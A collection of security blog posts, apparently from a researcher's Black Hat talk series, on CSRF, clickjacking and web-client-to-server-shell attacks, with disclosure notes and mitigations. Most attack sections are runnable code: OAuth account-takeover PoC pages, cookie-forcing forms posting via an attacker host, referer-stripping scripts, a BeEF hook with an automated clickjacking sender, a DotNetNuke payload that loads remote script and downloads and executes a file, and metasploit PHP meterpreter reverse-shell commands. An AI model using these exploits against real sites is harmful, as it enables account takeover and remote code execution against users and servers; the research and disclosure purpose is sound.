CSRF tips for dealing with x-frame-options

X-Frame-Options is becoming more and more common. With OAuth, protecting against UI redressing is even in the spec, so just creating a frame to do all your sneaky stuff won’t really work. With some of the OAuth attacks from the last few posts, the identity providers did all in fact enable x-frame-options.

How do we CSRF things that have X-Frame-Options enabled so we can’t use frames? We can always open a window, but a big popup isn’t really ideal. There are probably a lot of techniques here, but there are two options I explored, using a popunder, and just making the window jump around/hard to close.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. This is probably the last one (yeah, finally – I’m sick of talking about CSRF too) then I’ll hopefully post the whole talk finally :)

Hiding the CSRF with a popunder

In the OAuth examples I just popped up a window. It would be better if when we popped up the window, we hid it. Back in the day, you could just do something like this and it would hide the window.

function pwn() {
  win1 = fb_login();
  win1.blur();
  setTimeout("win1.close()", 5000);
  setTimeout("soundcloud_addlogin()", 5000);
}

In most browsers this doesn’t work anymore. Firefox and Chrome explicitly deny this (it was a bug here Blur results in window being lowered and some other window being raised (popunders are possible)).

However, it is still basically possible. Shady websites do this all the time, so you can just look at their code, or you can grab scripts from github https://gist.github.com/hpbuniat/1021924 :) Basically, the generic technique seems to be:

  1. On a click event
  2. On form submit
  3. open window
  4. the new window opens another window, then closes it
  5. focuses the opener window

Using this technique, we can exploit the OAuth CSRF much more ninjaly. The original soundcloud oauth (talked about here) looked something like this with a big ugly popup: http://www.youtube.com/watch?v=CmG01xprrlU

But with adding a popunder, well, it isn’t that exciting. But it’s relatively sneaky, and we’ve successfully CSRFed the page and taken over their soundcloud account. Below is a video of how the sneaky one looks.

In-your-face CSRF

Sometimes, like in the OAuth case, a CSRF takes a few seconds to complete. Sometimes even a minute or two. Techniques in the past focus mostly on hiding things, or “watching a video”. But there are a few interesting windows methods – moveTo(), moveBy(), resizeTo(), resizeBy() that, maybe in all practicality aren’t really better, but at least it’s funny.

It’s simple to create a script that CSRF’s the user, but jumps everywhere so it’s hard to close. Here it is in action:

Here’s the opener:

<html>
<head></head>
<body>
<title>In your Face</title>
<script>
function openwin() {
window.open("./randomwindow.html", "_blank", "status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1");
}
</script>

<a href="#" onclick="openwin()">click here for stuff</a>
</body>
</html>

and randomwindow.html

<html>
<head></head>
<body>
<title>Google</title>
<script>
function ass() {

    var x = Math.floor((Math.random() * screen.width)-(screen.width*.5));
    var y = Math.floor((Math.random() * screen.height)-(screen.height*.5));
    window.moveBy(x,y);
    document.getElementById("updater").innerHTML += "."
}

setInterval("ass();", 200);
</script>
<div id="updater"></div>
</body>
</html>

Thanks! That’s all for now.

Common OAuth issue you can use to take over accounts

TLDR; This is a post about a CSRF issue in OAuth I found where if a victim visited a malicious site while logged in, they could take over your account. At least stackexchange, woot.com, imdb, goodreads, soundcloud, myspace, foxnews, pinterest, groupon, huffingtonpost, foursquare, slideshare, kickstarter, and (sort of) vimeo were all vulnerable to this attack this year.

The 2013BH tag links to all posts related to my recent Blackhat EU talk I gave in March. Probably two more posts are coming, and I’ll post the whole talk and finished whitepaper relatively soon, unless someone else does :)

OAuth and OpenID are protocols that can allow authorization and authentication to applications in a cross domain way. It’s common for popular websites to use these protocols to allow users to login from various sources without having to have credentials for the specific site. For example, the sites I list in the tldr all allow logins from identity providers such as Facebook, twitter, or Google.

Here’s an image from Facebook on how this flow can work

fb_login

This sort of flow can be used to associate multiple accounts. For example, an application can have an account on the site, but allow users to tie their Facebook profiles as an additional login mechanism. By necessity this is a cross domain POST, and can be difficult to protect against CSRF.

Several papers have written about this in the past (http://stephensclafani.com/2011/04/06/oauth-2-0-csrf-vulnerability/, http://sso-analysis.org/) and the spec itself has a section pertaining to CSRF mitigation. The recommendation is generically to pass a state parameter to the identity provider. For this to work, it is necessary for this parameter to be unguessable and tied to the originating site session. Although theoretically these recommendations could be effective, it should come as no surprise that this is difficult to get right.

Most sites rely on the fact that a user is logged in to their own identity provider site (such as Google or Facebook). However, this trust can easily be broken. In the case of Facebook, the login is/was vulnerable to CSRF. Additionally, even if the identity provider login attempts proper CSRF protection, it’s almost always possible to force cookies and log the user in as an attacker.

The First Attack I thought of

Here’s a typical scenario. StackExchange has old accounts since the early days, but to make your life easier they want you to be able login with newer accounts, like your Facebook account. This looks like:

stackexchange

Using attacks like I’ve chatted about in the past here, here, here and here, I thought this may be vulnerable to something like this:

  1. Toss the cookies into the victim stackoverflow account
  2. The cookies used for auth may not be tied to the nonce sent to the identifier (e.g. facebook or Google)
  3. Associate the attacker’s account with the victim’s account and win!

This is kind of hard to test, since you have to map out all the cookies for each site.

Easier Attack

It turns out there’s an easier way (although above will probably be a problem for a while). Here is the easier way:

  1. Create an attacker identity provider account (e.g. Facebook)
  2. Grant the accessing application (e.g. stackoverflow) permissions to attacker Facebook
  3. Victim is logged in to accessing application.
  4. A malicious site does the following:
    1. Logs victim in to attacker’s Facebook by using CSRF on the Login, or by tossing cookies
    2. POSTs to the account association request
  5. Attacker Logs out of other sessions
  6. At this point an attacker completely controls the victim application account, and can usually perform various actions, such as deleting the other logins.

Out of all the applications tested (see below for most of them), all but one have proven vulnerable to this attack. Congratulations flickr, you’re the only site I looked at that seemed to do this without any issue :)

Stackexchange, woot.com, etc. Repro

There are a couple ways this similar vulnerability occurs, but I’ll spell out stackexchange first, since they were the first site I attempted this on. The stackexchange people were awesome – they responded in less than a day, and some dev was like “my bad”, and fixed it in just a few hours. Other sites took months to fix and never even talked to me about it really.

Here I’ve omitted things around reliability, logging the victim out, and sneakiness for the sake of simplicity (but I will cover this in a followup post soon. Really, I will, it was part of the blackhat talk too). The below repro is with Firefox inprivate mode, using Facebook. Here is a video showing what it should look like if you follow along.

Walking through the steps above with more stackexchange specific detail:

  • Create an attacker Facebook account
  • Give the application permission to the attacker’s account. Do not finish the entire flow here, just tell Facebook you want to give stackexchange access to everything

se_perm

  • Use the following script to login to Facebook. This particular technique is from Kotowicz for removing the referer on Facebook login. Note I have a more robust script that I developed after this here. Similarly, you can do attacks with other identity providers (Twitter, Google, etc) but you need to toss cookies into their domain, so it’s definitely more difficult.
//fb_login.html
 function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh"
content="0; url=data:text/html,' +
              '<form id=dynForm method=POST
action=\'https://www.facebook.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=yyy@live.com />' +
              '<input type=hidden name=pass value=xxxxxxxx/>' +
              '<input type=hidden name=default_persistent value=0 />' +
              '<input type=hidden name=timezone value=480 />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}
  post_without_referer();
  • Create an HTML page that logs in as the attacker and then ties the attacker account to the victim account.
<html>
  <body>
   <script type="text/javascript">

   function fb_login() {
    return (window.open("./fb_login.html", "_blank",
"status=0,scrollbars=0,menubar=0,resizable=0,scrollbars=0,width=1,height=1"));
  }

   function stackexchange_addlogin() {
     document.getElementById("sForm").submit();
  }



   function pwn() {
     win1 = fb_login();
     setTimeout("stackexchange_addlogin()", 7000);
     //win1.close()
  }

   </script>

   <p>This is just meant to be a dirty/simple PoC, and makes very
little attempt at being stealthy</p>

   <p>To repro:</p>


   <ul>
   <li>login to stackexchange</li>
   <li>click "pwn"</li>
   <li>An attacker now owns your stackexchange account!</li>
   </ul>

   <!-- iframe necessary to get cookies if we haven't visited facebook 
          (needed to put a space modify to put on page)-->
    < iframe height="1px" width="1px" style="position:absolute;top:0;left:0';" src="http://facebook.com" sandbox>< /iframe>


    <form id="sForm"
action="http://stackexchange.com/users/authenticate" method="POST">
      <input type="hidden" name="oauth_version" value="2.0" />
      <input type="hidden" name="oauth_server"
value="https://graph.facebook.com/oauth/authorize"
/>
      <input type="hidden" name="openid_identifier" value="" />
    </form>



  <a href="#" onclick="pwn()">pwn</a>
  </body>
</html>

Read more of this post

.NET MVC AntiforgeryToken CSRF Testing

Besides work being busy, I’m heads down ramping up my Blackhat EU talk, which is mostly about CSRF. I promise it’s more interesting than it sounds. I’m saving my favorite pieces for the talk, but between now and then I’ll mention a few tidbits.

A while ago, I talked about triple submit and the basics of how antiforgerytoken here. To recap, MVC is a variation of double submit that ties the POST parameter to a session identifier. In System.Web.Helpers.AntiXsrf.Validate:

public void Validate(HttpContextBase httpContext, string cookieToken, string formToken)
{
    this.CheckSSLConfig(httpContext);
    AntiForgeryToken token = this.DeserializeToken(cookieToken);
    AntiForgeryToken token2 = this.DeserializeToken(formToken);
    this._validator.ValidateTokens(httpContext, ExtractIdentity(httpContext), token, token2);
}

Then ValidateTokens contains the logic that prevents CSRF attacks

public void ValidateTokens(HttpContextBase httpContext, IIdentity identity, AntiForgeryToken sessionToken, AntiForgeryToken fieldToken)
{   
  if (sessionToken == null)
  {
    throw HttpAntiForgeryException.CreateCookieMissingException(this._config.CookieName);
  }
  if (fieldToken == null)
  {
    throw HttpAntiForgeryException.CreateFormFieldMissingException(this._config.FormFieldName);
  }
  if (!sessionToken.IsSessionToken || fieldToken.IsSessionToken)
  {
    throw HttpAntiForgeryException.CreateTokensSwappedException(this._config.CookieName, this._config.FormFieldName);
  }
  if (!object.Equals(sessionToken.SecurityToken, fieldToken.SecurityToken))
  {
    throw HttpAntiForgeryException.CreateSecurityTokenMismatchException();
  }
  string b = string.Empty;
  BinaryBlob objB = null;
  if ((identity != null) && identity.IsAuthenticated)
  {
    objB = this._claimUidExtractor.ExtractClaimUid(identity);
    if (objB == null)
    {
      b = identity.Name ?? string.Empty;
    }
  }
  bool flag = b.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || b.StartsWith("https://", StringComparison.OrdinalIgnoreCase);
  if (!string.Equals(fieldToken.Username, b, flag ? StringComparison.Ordinal : StringComparison.OrdinalIgnoreCase))
  {
    throw HttpAntiForgeryException.CreateUsernameMismatchException(fieldToken.Username, b);
  }
  if (!object.Equals(fieldToken.ClaimUid, objB))
  {
    throw HttpAntiForgeryException.CreateClaimUidMismatchException();
  }
  if ((this._config.AdditionalDataProvider != null) && !this._config.AdditionalDataProvider.ValidateAdditionalData(httpContext, fieldToken.AdditionalData))
  {
     throw HttpAntiForgeryException.CreateAdditionalDataCheckFailedException();
  }
}

To make use of this CSRF prevention, Controller methods can add the ValidateAntiForgeryToken attribute. Although there are obvious mistakes that can be made, such as forgetting to add the attribute to some methods, if this is used as intended it should prevent CSRF attacks. In fact, this is what the Microsoft SDL recommends.

Unfortunately, perhaps more often than not, the ValidateToken protection is not used as intended.

One of the most common mistakes with CSRF protections in general is not tying the form/cookie pair to the user and session, and this is also the case with .NET MVC4. Although with default forms based authentication the CSRF protection is secure, there are many types of authentication – and many (if not most) real large-scale web applications will implement some type of custom authentication. A site might use Facebook, openID, gmail, Live ID, etc. – these are all supported in auth frameworks like ACS. As one example, most web applications at Microsoft do not use forms based auth, and instead use something like LiveID.

Whenever a web application uses custom authentication, the default protection can very easily break. Here is an example of an exploit that uses an XSS in a neighboring domain.

  1. Login to the application http://mvc_app.mydomain.com with a malicious account (badguy@live.com) and record the CSRF cookie and the CSRF POST parameter. These have default names like __RequestVerificationToken_Lw__ and __RequestVerificationToken__
  2. Find XSS on any other *.mydomain.com domain. Depending on the domain, this may not be difficult or even by design depending on the application.
  3. Craft the XSS to force our attacker mydomain.com cookie, and redirect to our attacker site where we can put the remainder of our JavaScript
  4. document.cookie = "__RequestVerificationToken_Lw__=j5DTuG+TakJjC7NxojmAPAuZzSVlZrR...; path= /csrfpath; domain=.mydomain.com; expires=Wed, 16-Nov-2013 22:38:05 GMT;";
    window.location="http://evil.webstersprodigy.net/cookies/cookie.html";
    
  5. Now that the CSRF cookie is set, http://evil.webstersprodigy.net/cookies/cookie.html does the POST with our saved attacker POST verification token. After this POSTs, then the victim’s account will be updated.
  6. <html> 
    <body> 
    <form id="dynForm" action="https://mvcapp.mydomain.com/csrfpath/Edit" method="POST"> 
    <input type="hidden" name="__RequestVerificationToken" value="/onkfP/l0h8nBAX5%2BhadCSabNFq3QTnfWM0l2byt8SGYTy..." /> 
    <input type="hidden" name="Profile.FirstName" value="Bad" /> 
    <input type="hidden" name="Profile.LastName" value="Guy" /> 
    <input type="hidden" name="Profile.Email" value="evil1337@live-int.com" /> 
    <input type="hidden" name="saveAndContinueButton" value="NEXT" /> 
    </form> 
    <script type="text/javascript"> 
    alert("cookies are tossed"); 
    document.getElementById("dynForm").submit(); 
    </script> 
    </body> 
    </html>
    
    

Although the exploit is relatively complicated (you need to find an XSS in a subdomain, make sure you have all the relevant parameters encoded correctly, etc.) testing for the vulnerability is much more straightforward. This test can also be applied generically to several other protection schemes.

  1. Find the authentication cookie(s). Without this cookie, it should not be possible for a user to visit a site. For example, with LiveID it’s usually RPSSecAuth.
  2. Login as user1 and perform an action. Capture both the cookies and POST parameters, noting the parameters that are preventing CSRF. For example, with MVC4 these are usually named __RequestVerificationValue and __RequestVerificationToken
  3. Login as user2 and replace the CSRF tokens (but not auth tokens) captured in step2. If the request succeeds, then the application is vulnerable.

There are several exploitation scenarios that are essentially equivalent to those outlined in Naïve double submit. In other words, a vulnerability exists if the CSRF POST nonce is not cryptographically tied to the legitimate session.

Stripping the Referer in a Cross Domain POST request

I recently came across a POST CSRF where the referer had to be from the same origin or be absent completely. Here are the ways I know about to remove the referer. A lot of people might know this sort of thing, but I liked thinking about it. I think this might be a good interview question for web app security folks :)

HTTPS -> HTTP (works if the target is HTTP not HTTPS)

So an HTTP request to an HTTP request will have a referer, so will HTTPS to HTTPS (even cross domain). Just to cover all our bases, so will HTTP to HTTPS. This seems to be consistent across browsers.

But HTTPS sites will not send referers when POSTing/linking to HTTP. This is usually my go to for stripping referers because it’s so easy. Unfortunately, in this case, the application I was trying to exploit was only over HTTPS so this technique isn’t an option.

data: URIs (works in FF and Chrome)

Koto thought of this generic idea, and he uses the data: protocol in this excellent post. This works great, as long as you’re not attacking IE, which doesn’t seem to support the data: protocol.

<html>
  <body>
   <script type="text/javascript">
  function post_without_referer() {
    // POST request, WebKit & Firefox. Data, meta & form submit trinity
   location = 'data:text/html,<html><meta http-equiv="refresh" content="0; url=data:text/html,' +
              '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
              '<input type=hidden name=email value=example@live.com />' +
              '<input type=hidden name=pass value=password />' +
              '<input type=hidden name=locale value=en_US />' +
              '</form><script>document.getElementById(\'dynForm\').submit()</scri'+'pt>"></html>';
}

   </script>

  <a href="#" onclick="post_without_referer()">POST without referer (FF,chrome)</a>
  </body>
</html>

He also includes an IE thing, but that will only work with GET requests.

CORS (doesn’t work afaik)

According to the spec at http://www.w3.org/TR/XMLHttpRequest/#anonymous-flag

referer source
If the anonymous flag is set, the URL “about:blank”, and the referrer source otherwise.

The XMLHttpRequest object has an associated anonymous flag. If the anonymous flag is set, user credentials and the source origin are not exposed when fetching resources.

In FF this is called the MozAnon flag. Unfortunately, all the browsers I’ve tested do actually send the referer by default, regardless of the flag. And even if browsers did follow the spec there are definitely some limitations. This would be a one shot deal – the response (e.g. set cookies) would not be processed because the server wouldn’t send back the proper origin stuff. Additionally, if the anon flag works, the browser won’t send cookies either (this part of the anon flag does work).

about:blank (works in everything)

Despite not working, CORS gave me an idea that turned out to work well. I had a few more tangents on my list, like 307 redirects that might work. But the thing is, the reason data: works (where it’s supported), and the reason 307 might work, and the reason CORS should have sort of worked is the fact that these things execute in the about:blank context. Because about:blank doesn’t have a domain per se, it doesn’t send a referer. The nice thing about this is we can create our own window or iframe in this context and just write to it. For example, the following will not send a referer in any browser I tested. This means we win :)

Note you have to modify slightly because wordpress snipped out my iframe in tags.

<html>
<head>
<script>
function load() {
    var postdata = '<form id=dynForm method=POST action=\'https://www.example.com/login.php?login_attempt=1\'>' +
                    '<input type=hidden name=email value=example@live.com />' +
                    '<input type=hidden name=pass value=password />' +
                    '<input type=hidden name=locale value=en_US />' +
                    '</form>';
    top.frames[0].document.body.innerHTML=postdata;
    top.frames[0].document.getElementById('dynForm').submit();
}
</script>
</head>
<body onload="load()">

< iframe src="about:blank" id="noreferer">< /iframe>


</body>
</html>


BeEf Clickjacking Module and using the REST API to Automate Attacks

I’ve chatted about clickjacking a few times in the past. It’s an attack I think is often overlooked as non-important, and part of the reason people think that is probably because making these attacks convincing isn’t necessarily easy. To perform a convincing clickjacking attack as a pentester or real attacker, there are some tools that can be useful, but for the most part you’re pretty much stuck writing your own Javascript (or paying someone to write it for you). Well, this type of thing just got a whole lot easier.

A couple weeks ago my wife and I submitted a clickjacking module to BeEf (now accepted into the main branch). This is a post about that. First I’m going to talk about how it works, and then about how to use it.

Reliably Following the Mouse

One of the coolest features of this module is that it works in all tested versions of IE, chrome, and Firefox. There’s other mouse following code available, but to my knowledge, none of the previously written snippets have worked as reliably.

The idea behind following mouse is simple. There are two frames, an inner and an outer. The outer frame is large, and it’s what contains the entire clickjackable page. The inner frame registers a mousemove event that triggers when the mouse is moved over our own domain (once it exits the victim domain), and the inner iframe is updated so our mouse is always over whatever we want our victim to click on.

$j("body").mousemove(function(e) {
     $j(outerObj).css('top', e.pageY);
     $j(outerObj).css('left', e.pageX);
 });

The “body” turns out to be important, since IE didn’t recognize “document” – so if you have custom attacker pages watch out for that.

Also, it might be obvious, but although the inner iframe is visible by default, it can easily be configured to be invisible.

Multiple Clicks and Events

It’s a bit of a challenge on how to detect when a user clicks over a domain we don’t own. We solved this by giving focus to an invisible button on our domain, and then counting it as a click when that button loses focus.

$j(btnObj).focus();
$j(btnObj).focusout(function() {
    cjLog("Iframe clicked");
    iframeClicked();
});

When we do detect a click, the iframeClicked function counts it, updates the inneriframe position, and evaluates a custom function. This custom function is important because it allows us to update the visible page, making the attacker page appear responsive. In the demo page, this function can do things like update the displayed quote. There’s also a delay, which I discovered was important when testing various Google pages, because it takes a moment for some clicks to register, and if we immediately move the inneriframe it doesn’t work.

function iframeClicked(){
    clicked++;
    var jsfunc = '';
    jsfunc = clicks[clicked-1].js;
    innerPos.top = clicks[clicked].posTop;
    innerPos.left = clicks[clicked].posLeft;
    eval(unescape(jsfunc));
    setTimeout(function(){
        updateIframePosition();
    }, <%= @clickDelay %>);

    setTimeout(function(){
        var btnSelector = "#" + elems.btn;
        var btnObj = $j(btnSelector);
        $j(btnObj).focus();

        //check if there are any more actions to perform
        try {
            if (isNaN(parseInt(clicks[clicked].posTop))) {
                removeAll(elems);
                throw "No more clicks.";
            }
        } catch(e) {
            cjLog(e);
        }
    }, 200);
}

Using the BEEF REST API to Automatically Attack Victims when they Visit our Page

There are a few reasons we chose BeEf to write this. First, there’s a lot of information BeEf will gather that can be useful. It has browser detection, so if a certain browser renders a page differently we can detect that and tailor the attack accordingly. One drawback initially was the fact you had to login to a web console to customize an attack for a hooked browser. For clickjacking, this just doesn’t seem realistic. We want the attack to begin right when someone visits our page.

Luckily, BeEf recently added a REST API. There are a few examples of how this is useful. I’m surprised it isn’t getting more attention, because now all of a sudden when someone visits our attacker page our payload is fired off immediately rather than an attacker manually babysitting the sessions. This really applies to all modules – not just the clickjacking.

My strategy for firing off attacks is messy, but it seems to work fairly well. I just have a php file that hooks beef and then does a system call to a script that calls the REST client

<!-- BeEF hook call -->
<script type="text/javascript">
	var commandModuleStr = '<script src="http://192.168.138.129:3000/hook.js" type="text/javascript"><\/script>';
	document.write(commandModuleStr);
</script>
...
<!--
<?php
    system("python /var/www/beef/beefrest.py & > /tmp/myscriptlog.txt");
?> -->

The REST client script grabs the latest session and sends an attack. For example, to send our clickjacking attack

Update: This could be better by making use of the autorun call, which I didn’t know existed at the time. Here: http://blog.beefproject.com/2012/08/happy-hooking-beef-autorun-and-twitter.html, and http://blog.beefproject.com/2012/12/beef-shank-beef-mitm-for-pentests.html

#!/usr/bin/python

import json
import urllib
import urllib2
import time

class beefClickjack:
	def __init__(self, authkey, host):
		self.authkey = authkey
		self.host = host

	#returns all online hooked browsers
	#TODO exception handling
	def getHookedBrowsers(self):
		f = urllib2.urlopen(self.host + "/api/hooks?token=" + self.authkey)
		data = json.loads(f.read())
		hooked = data["hooked-browsers"]["online"]
		return hooked

	#returns most recent hooked browser
	#there is a bit of a race condition, but in reality it  shouldn't matter
	def getLastHooked(self):
		hooked = self.getHookedBrowsers()
		max_hook = sorted(hooked)[-1]
		print "============="
		print hooked
		print "============="
		sessionid = hooked[max_hook]["session"]
		return (sessionid, max_hook)

	#send clickjacking payload to most recently hooked browser
	#can get with /api/modules?token=....
	def sendClickjack(self, data):
		sessionId = self.getLastHooked()[0]
		url = self.host + "api/modules/" + sessionId + "/22?token=" + self.authkey
		print url
		req = urllib2.Request(url, data)
		req.add_header("Content-Type", "application/json; charset=UTF-8")
		f = urllib2.urlopen(req)
		print f.read()


#Below will need to be customized
if __name__ == "__main__":
        time.sleep(1)
	b = beefClickjack(
			authkey="ec808711566a1e2b85bc6c692681c946d97f0ba2",
			host="http://127.0.0.1:3000/"
		)
	data = {
		"iFrameSrc" : "http://www.amazon.com/gp/aw/d/0312546343/",
		"iFrameSecurityZone" : "off",
		"iFrameSandbox" : "off",
		"iFrameVisibility" : "on",
		"clickDelay" : "300",
		"iFrameWidth" :" 30",
		"iFrameHeight" :"15",
		"clickaction_1" : "$(\"#overlay1\").data(\"overlay\").close();",
		"iFrameLeft_1" : "990",
		"iFrameTop_1" : "180",
		"iFrameLeft_2" : "-",
		"iFrameTop_2" : "-"
	}
	b.sendClickjack(json.dumps(data))

Again, this could become more elegant. For example, you could keep track of all sessions and ensure every online session is sent a payload. This would also be where you could do various browser detection things to help determine anything browser specific.

Real World Usage/Examples

In September 2012 http://www.shodanhq.com/research/infodisc performed a basic scan against the Alexa top 10,000 sites on the Internet and found only 0.54% of these websites contained X-FRAME-OPTIONS. It is possible that the header is set only on pages that require authentication or pages that are used to change state. However, the percentage of websites with proper mitigations is undeniably low.

The fact is an attacker can use clickjacking against most websites, including commerce sites, financial sites, management consoles… most everything where you perform actions. When we first wrote this module our first test used multiple clicks against Google, which I believe still works today. Below I’ll outline a few simpler use cases for the module.

Amazon – Adding an Item to the Wishlist

One XSS I heard about recently was in the wishlist. Although this guy used CSRF to add an item to the cart, he could have also used clickjacking (or used clickjacking if the wishlist wasn’t vulnerable to CSRF). The REST API source above is for Amazon:

One interesting note that you’ll gather if you watched the video: Amazon proper had x-frame-options but the mobile pages did not, allowing for the “attack”. I reported this to Amazon and they’ve since added x-frame-options to the mobile pages.

WordPress

The goal of this “attack” is to get someone logged into wordpress.com to like a post that I’ve written (similar maybe to Facebook likejacking, but on wordpress). This demo is similar to the last one, but I’ll just use BeEf’s web interface rather than the REST api.

Nothing novel here except that it took longer to register a dummy wordpress account than it did to craft a clickjacking payload.

Conclusions

I hope this is my last post about clickjacking ever. :)

Clickjacking Google

When testing some x-frame-options behavior, I noticed that sameorigin cares about the top location, but not the parent location. At first I thought I discovered this, but turns out it’s not a brand new issue, and others have talked about it at least here and here.

It wasn’t immediately clear to me what sites were impacted, but two conditions need to be present: 1) somewhere on the victim domain, they need to allow you to frame stuff and 2) the victim domain uses x-frame-options sameorigin as a mitigation against clickjacking. With number two, most websites tend to not protect against clickjacking at all (which is worse, of course). However, there are a few places where these two conditions seem pretty pervasive. Google is the first thing that comes to mind because it’s common for Google to protect from clickjacking with x-frame-options: sameorigin, but then they allow external framing on the same domain. Using this and a little social engineering you can do some pretty nasty things, like an unprivileged Google Apps user taking over a domain.

A Couple Specific Examples

I have a pull request into BeEf for a module that my wife and I wrote which makes implementing these attacks trivial. I’ll probably do a blog post specifically about the module soon.

Attack 1: Making a Private Google Site Public

Here’s a video of Attack 1 in action, where victim Google site “besttest42″ visits an attacker’s Google site “webstersprodigy” and inadvertently makes their site public by clicking on the next quote button a couple times (three to be exact)

Attack 2: unprivileged Google Apps user escalating to admin

  • Victim is logged in to a Google account.
  • Victim is social engineered to visit a “Google In-Page analytics” page that’s framing attacker controlled content (http://hacker.com). There seem to be a few other ways to frame attacker controlled content on google.com, such as igoogle or other things that might accept Google gadgets.
  • http://hacker.com can now frame a bunch of pages from google.com. Some targets are easier than others. Calendar is tough, for example, because it requires Javascript but also has a frame breaker. Others, like finance and reader, are easy. For my PoC, I framed the Google apps admin portal imagining the victim is a Google Apps admin and the attacker is an unprivileged apps user attempting to escalate priveleges. In this case, the attacker frames https://www.google.com/a/cpanel/webstersprodigy.net/Organization?userEmail=evilattacker@webstersprodigy.net
  • At this point there are four clicks involved. Click on “Roles and Privileges”, then “Assign more roles”, then “Super Admin” then “Confirm Assignment”.
  • I have a PoC for this as well as attack 1, but it’s more flaky because Google analytics Javascript sometimes made my clicks slightly off, and one click in particular I couldn’t completely hide (although I suspect with more time it should be possible). I admit the Google analytics route I have a PoC for would be tough to pull off in the real world (victim has to have recently logged in to admin portal, they have to click things inside of analytics) but the payoff is huge. The attacker is now an admin for a Google apps business and can do things like change a password and then read anyone’s email.

With attack 2, what we’re tricking the user to eventually click on is this:

Recommended Mitigations

I’m sure I’m not close to catching all the specific instances. It would probably be good for Google to go through most portals where users can change settings and set them to x-frame-options deny. A lot of these probably don’t need to be framed at all, and setting it to deny would stop the attack.

It would also be cool if Chrome checked the parent (and not just the top) when x-frame-options same-origin is set. Most browsers (Firefox, Safari, IE8) seem to do the same thing, but it seems wrong to me. It should be noted that IE9 and IE10 do better than this by checking the frame chain (e.g. this attack would fail with IE9).

Discosure Stuff

I contacted Google with basically the post above s/Google/you guys/ on 8/26. Here’s their response:

Thanks for your detailed report. Clearly, you understand some of the
challenges here ;)

This is something we’re aware of and there’s work going on amongst the
various browser vendors to modify (and agree on) what the right behaviour
should be. Right now, our approach is to bank on the browsers fixing this
in a more robust fashion.

I agree with this in principle. However, I would have liked to see x-frame-options deny set on the more sensitive pages. There are other UI redressing attacks possible of course, but since these require a few clicks I think using framing is by far the easiest. When I asked if they considered this a vuln or if they had any concerns about me writing about it, they wrote back:

No, it doesn’t qualify under the VRP — it’s something that we’re already
aware of. Feel free to write about it — it’s not especially widely known,
though is certainly not secret.

Server Shells from Web Clientside Attacks

One kind of attack that seems to be popular these days is the “broad impact” attack. These are the vulnerabilities that include “CSRF logout on Facebook” or “Self XSS using drag and drop on code.google.com”. The impact of these attacks is sometimes limited, but that’s made up for in a big way because there are just so many people that use Google and Facebook.

This post is kind of the opposite of that.*

Remember all those bug bounties and bulletins that security researchers have got for targeting a custom support internal web application and using that to compromise everything? Oh yeah, most companies probably don’t want to encourage that sort of delinquent behavior. And although these types of attacks are not “broad impact”, the criticality of these bugs can be freaking scary.

DotNetNuke XSS to RCE

One example of this can be shown by using one of the bugs I found with DotNetNuke.

This was kind of interesting. It turns out on a default install anyone can send “messages” which are kind of like a DotNetNuke version of email. You can get script into these messages, and with script running in an administrator account you get RCE. Pretty much every piece of this is straightforward.

  • The XSS is trigerred with HTML editable pages via <img src=”http://asdfasdf/blah&#8221; alt=”” />
  • The host user has a lot of power, and can do things like upload arbitrary aspx pages and execute them (as shown in the demo) or execute arbitrary SQL

Here are the repro steps for dotnetnuke 6.00.01, which was the current version when I found this:

  • Create metasploit connectback
  • Create metasploit listener
  • Start shell of the future… or do several requests and scrape VIEWSTATE which is the csrf mitigation. We can’t simply steal the session cookie since it’s set to httponly.
  • Get XSS in the host account. The basic XSS is simply an img onerror. The payload for shell of the future looks like this, but before sending it needs to be HTML encoded:
 
javascript:eval("s=document.createElement('script');
s.src='http://192.168.154.137:8000/e1.js';
document.getElementsByTagName('head')[0].appendChild(s)") 
  • With the XSS shell or dynamically with Javascript if you have time, enable aspx uploads. Note that at this point SQL injection is also possible.
  • Create an RCE C# script to execute meterpreter and upload to the server.

<script type="text/javascript">// <![CDATA[
 protected override void OnLoad(EventArgs e)
 {
 System.Net.WebClient client = new System.Net.WebClient();
 client.DownloadFile(@"http://webstersprodigy.net/manuploads/test92.txt", @"C:\windows\TEMP\test92.txt");
 System.Diagnostics.Process p = new System.Diagnostics.Process();
 p.StartInfo.UseShellExecute = false;
 p.StartInfo.RedirectStandardOutput = true;
 p.StartInfo.FileName = @"C:\windows\TEMP\test92.txt";
 p.Start();
Response.Write("Success");
 }
// ]]></script>

  • Finally, force browse to the page for a shell.

They fixed this with the bulletins below, although not sure I agree with the low/moderate rating since it’s pretty much a guaranteed shell as long as admins read their dotnetnuke messages.

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.60.aspx

http://www.dotnetnuke.com/News/Security-Policy/Security-bulletin-no.62.aspx

WordPress MyFTP plugin CSRF to RCE

Have you ever used a piece of software, and you just know it’s hackable? That’s how I’ve been using MyFTP on this very site for a while. It’s an incredibly useful tool. It looks like it’s not super popular, but apparently the most recent version has had over 28,000 downloads at the time of this writing.

So I finally decided to look at this. It turns out everything is vulnerable to CSRF. There are several nasty exploits here. One of the easiest is being able to delete any file with the right permissions. Another easy one is being able to edit any file with the right permissions. One that’s a bit less straightforward is the file upload feature.

In this demo attack, I opted to try the file upload route using this technique I’ve been wanting to try for a while now: http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html. The idea is that you use CORs to send the cross domain request, and you have more control over things like headers and multi part data. There’s the origin header sent, but who cares because the application ignores it.

Here are the repro steps:

1. Create Stage 1

It’s super cool that metasploit has a php meterpreter payload now. The raw php looks something like this:

./msfpayload php/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > bad.php

But since I’m uploading this using Javascript in step 2, I want a more JS-friendly format.

./msfpayload php/meterpreter/reverse_tcp LHOST=71.197.218.6  LPORT=443 -t pl | tr “.” “+” > js_php

2. Stage 2 Listener

use exploit/multi/handlerset PAYLOAD php/meterpreter/reverse_tcpset LHOST x.x.x.xexploit

3. Create a malicious page that uploads the PHP file using the CSRF bug

Using the CORs techniques mentioned above, the CSRF script will look similar to the following:

